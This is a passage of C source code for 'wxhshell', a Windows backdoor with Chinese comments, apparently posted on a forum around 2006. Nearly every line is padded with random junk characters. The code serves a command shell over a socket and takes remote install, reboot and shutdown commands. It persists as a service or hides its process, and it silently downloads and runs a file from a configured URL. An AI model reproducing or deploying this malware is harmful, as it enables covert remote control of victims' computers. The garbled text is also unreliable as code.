lq7E 4r  
    switch(cmd[0]) { b" [|:F>P  
  #fM`}Ij.A  
  // 帮助 P16~Qj  
  case '?': { VuZr:-K/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %E;'ln4h&,  
    break; _7y[B&g[r  
  } #~=Ry H  
  // 安装 m+$VVn3Z}  
  case 'i': { XL/u#EA0<  
    if(Install()) V>3X\)qu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XQw9~$  
    else )0k53-h&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }c:M^Ff  
    break; 3Tm+g2w2V8  
    } d2L&Z_}  
  // 卸载 I)HPO,7  
  case 'r': { 3=V &K-  
    if(Uninstall()) 'dc#F3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Ai^cf:S  
    else b%c9oR's^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o^wqFX(Y  
    break; 2MK-5 Kg  
    } dlnX_+((KC  
  // 显示 wxhshell 所在路径 ^xk'Z  
  case 'p': { @>7%qS  
    char svExeFile[MAX_PATH]; WTiD[u  
    strcpy(svExeFile,"\n\r"); llDkJ)\  
      strcat(svExeFile,ExeFile); jSaU?ac  
        send(wsh,svExeFile,strlen(svExeFile),0); iH'p>s5L  
    break; l;E(I_ i)  
    } w&.a QGR#  
  // 重启 1k^oS$UT  
  case 'b': { ?Q;=v~-Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2st3  
    if(Boot(REBOOT)) #B w0,\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IdN41  
    else { U #0Cx-E  
    closesocket(wsh); 0PCGDLk8  
    ExitThread(0); \z)%$#I  
    } JK] PRDyD  
    break; %@Jsal'  
    } tO&^>&;5  
  // 关机 N6TH}~62}  
  case 'd': { /g.U&oI]D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |5]X| v  
    if(Boot(SHUTDOWN)) cidP|ie^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f%8C!W]Dm  
    else { y|jq?M<A  
    closesocket(wsh); 8RHUeRX  
    ExitThread(0); b~cZS[S  
    } z0 Z%m@  
    break; 7-V/RChBm  
    } !p/goqT~dY  
  // 获取shell 0tJ Z4(0  
  case 's': { tT._VK]o&R  
    CmdShell(wsh); Ew$C ;&9  
    closesocket(wsh); o#N+Y?O  
    ExitThread(0); @'|~v <<WZ  
    break; 6wg^FD_Q  
  } f?)-}\[IR{  
  // 退出 @E8+C8'  
  case 'x': { 5Yndc)Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UGatWj  
    CloseIt(wsh); $Y gue5{c  
    break; *OQ2ucC8j  
    } - ! S_ryL  
  // 离开 -ze J#B)C  
  case 'q': { 0IWf!Sk ]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gp\ kU:}&  
    closesocket(wsh); Kf-JcBsrT  
    WSACleanup(); 7x8  yxE  
    exit(1); (QiAisE  
    break; MfkN]\Jyw  
        } kSo"Ak!  
  } DIUjn;>k8  
  } o,wUc"CE  
7mfS*aCb  
  // 提示信息 'E.w=7z&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @KUWxFak  
} /<BI46B\  
  } *n"{J(Jt`  
A_UjC`  
  return; 8JUwf  
} 4`=m u}Y2  
`qwBn=  
// shell模块句柄 +W+|%qM,\  
int CmdShell(SOCKET sock) {Hk}Kow  
{ <\S:'g"(  
STARTUPINFO si; W!(LF7_!  
ZeroMemory(&si,sizeof(si)); "^iYLQOC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %N_%JK\{@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {fp[BF  
PROCESS_INFORMATION ProcessInfo; uvS)8-o&F  
char cmdline[]="cmd"; Wn}'bqp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ft Wv~Eh  
  return 0; Q=dy<kg']  
} AwF:Iu^3n  
8Cv?Z.x5  
// 自身启动模式 ^d73Ig:8q  
int StartFromService(void) kAGBdaJ"  
{ Jfl!#UAD|n  
typedef struct +qdEq_ m  
{ PTV:IzoW  
  DWORD ExitStatus; eJ81-!)  
  DWORD PebBaseAddress; j*m%*_kO  
  DWORD AffinityMask; 9(<@O%YU  
  DWORD BasePriority; YZJyk:H\  
  ULONG UniqueProcessId; 9-m=*|p  
  ULONG InheritedFromUniqueProcessId; GsM<2@?  
}   PROCESS_BASIC_INFORMATION; 0C ,`h `  
,MIV=*  
PROCNTQSIP NtQueryInformationProcess; 7Fsay+a  
@9|hMo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ] @fk] ]R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |(^PS8wG  
f6"Z'{j  
  HANDLE             hProcess; IO:G1;[/2L  
  PROCESS_BASIC_INFORMATION pbi; -`6+UkOV[x  
P0jtp7)7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fv`,3aNB  
  if(NULL == hInst ) return 0; 6;5Ss?ep  
iDrZc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q=yg8CQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [)X\|pO&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z;)%%V%o  
h2J x]FJ  
  if (!NtQueryInformationProcess) return 0; eh#(eua0/  
El"Q'(:/U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zT-_5uZQ  
  if(!hProcess) return 0; lU8Hd|@-  
Yc*; /T}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K\c#ig   
BTrn0  
  CloseHandle(hProcess); ;i+#fQO7Q  
P=G3:eX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uWE^hz"  
if(hProcess==NULL) return 0; lks!w/yCF  
8, >P  
HMODULE hMod; )wh A<lC  
char procName[255]; "kqPmeI  
unsigned long cbNeeded; hP&B t  
, ++ `=o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ufT`"i  
m&yJzMW|  
  CloseHandle(hProcess); +^T@sa`[I  
S ByW[JE  
if(strstr(procName,"services")) return 1; // 以服务启动 @U}1EC{A  
;,e2egC'  
  return 0; // 注册表启动 BIL Lq8)  
} jWfa;&Ra  
u\JNr}bL  
// 主模块 Nda *L|  
int StartWxhshell(LPSTR lpCmdLine) _zMW=nypdx  
{ M\Kx'N  
  SOCKET wsl; m`r(p"  
BOOL val=TRUE; 3=ymm^  
  int port=0; hY8reQp1  
  struct sockaddr_in door; VyGJ=[ ]  
N ZSSg2TX#  
  if(wscfg.ws_autoins) Install(); 0:d_Yv,D  
.kfI i^z  
port=atoi(lpCmdLine); bA->{OPkT  
5/Uy{Xt  
if(port<=0) port=wscfg.ws_port; <2qr}K{'A  
'2^Q1{ :\  
  WSADATA data; 6)Lk-D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #>+HlT  
6!FQzFCZq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VW4r{&rS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B^9j@3Ux  
  door.sin_family = AF_INET; czd~8WgOa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u;c?d!E  
  door.sin_port = htons(port); h'F=YF$o  
{/:x5l8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z?QC!bWb  
closesocket(wsl); +K4}Dmg  
return 1; #;nYg?d=  
} [cp+i^f  
J/*`7Pd  
  if(listen(wsl,2) == INVALID_SOCKET) { M/K5#8Arj  
closesocket(wsl); JaGtsi9%.  
return 1; }`~+]9 <   
} | %Vh`HT  
  Wxhshell(wsl); XOS[No~  
  WSACleanup(); I2 P@L?h  
D d</`iUq  
return 0; '."ed%=MC  
3$9W%3  
} HA>OkA/  
n7-6- #  
// 以NT服务方式启动 <e</m)j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y h9*z3  
{ 9qG6Pb  
DWORD   status = 0; BF{Y"8u$  
  DWORD   specificError = 0xfffffff; b1?'gn~  
S|`o]?nc>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dlTt _.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )hfpwdQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oM`0y@QCf  
  serviceStatus.dwWin32ExitCode     = 0; L/G6Fjg^  
  serviceStatus.dwServiceSpecificExitCode = 0; ~IN>3\j  
  serviceStatus.dwCheckPoint       = 0; c\ lkD-\  
  serviceStatus.dwWaitHint       = 0; JcxThZP~  
#O dJ"1A|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *bA.zmzM  
  if (hServiceStatusHandle==0) return; "1 M[5\Ax  
B_m8{44zM  
status = GetLastError(); gSQJJxZ{?  
  if (status!=NO_ERROR) I9hK} D  
{ g7W"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %OOl'o"V{s  
    serviceStatus.dwCheckPoint       = 0; `RL"AH:+  
    serviceStatus.dwWaitHint       = 0; j#q-^h3H  
    serviceStatus.dwWin32ExitCode     = status; Z>5b;8  
    serviceStatus.dwServiceSpecificExitCode = specificError; pg)WKbV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *CI#+P  
    return; 5]Y?m'  
  } }S<2A7)el  
kL"2=7m;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '$%l7  
  serviceStatus.dwCheckPoint       = 0; ,1o FPa{?  
  serviceStatus.dwWaitHint       = 0; OYTkV}tG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5C5sgR C  
} b}TS0+TF  
JrRH\+4K  
// 处理NT服务事件,比如:启动、停止 j HJ`,#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L0WN\|D  
{ b!5~7Ub.No  
switch(fdwControl) UrEs4R1#  
{ : E )>\&  
case SERVICE_CONTROL_STOP: Qjv}$`M  
  serviceStatus.dwWin32ExitCode = 0; bAtSVu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7! INkH]  
  serviceStatus.dwCheckPoint   = 0; 5taT5?n2  
  serviceStatus.dwWaitHint     = 0; {[?(9u7R  
  { 1NA.nw.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J]pir4&j  
  } N U`  
  return; 6gu!bu`~  
case SERVICE_CONTROL_PAUSE: CdjI`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lchPpm9  
  break; sN01rtB(UT  
case SERVICE_CONTROL_CONTINUE: 6zuTQ^pz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ou{2@"  
  break; % ^1V4  
case SERVICE_CONTROL_INTERROGATE: <1${1A <Wa  
  break; [j/9neaye  
}; N~zdWnSZ@G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #fn)k1  
} 6fEqqUeV  
1ztG;\  
// 标准应用程序主函数 :(*V?WI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [ ~c|mOk  
{ a'yK~;+_9  
ML56k~"BL  
// 获取操作系统版本 dk4CpN  
OsIsNt=GetOsVer(); x\G'kEd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o9yJf#-En  
dn$!&  
  // 从命令行安装 w-L=LWL\  
  if(strpbrk(lpCmdLine,"iI")) Install(); PmEsN&YP]  
3kp+<$  
  // 下载执行文件 0rs"o-s<  
if(wscfg.ws_downexe) { ;RPx^X~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j/c&xv 7=  
  WinExec(wscfg.ws_filenam,SW_HIDE); Sp]0c[37R  
} eiaFaYe\  
-3Z,EaG^  
if(!OsIsNt) { a fW@T2  
// 如果时win9x,隐藏进程并且设置为注册表启动 YHygo#4=8  
HideProc(); Pw`8Wj  
StartWxhshell(lpCmdLine); yZU6xY  
} ,G?WAOy,  
else ytJ/g/,A0i  
  if(StartFromService()) q\4Xs$APq  
  // 以服务方式启动 9W1YW9rL  
  StartServiceCtrlDispatcher(DispatchTable); DgQp HF  
else +.b,AqJ/  
  // 普通方式启动 .2Elr(&*h  
  StartWxhshell(lpCmdLine); #rQ2gx4  
2E)-M9ds  
return 0; 9ZsVy  
}
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只看该作者 1 发表于: 2006-10-10
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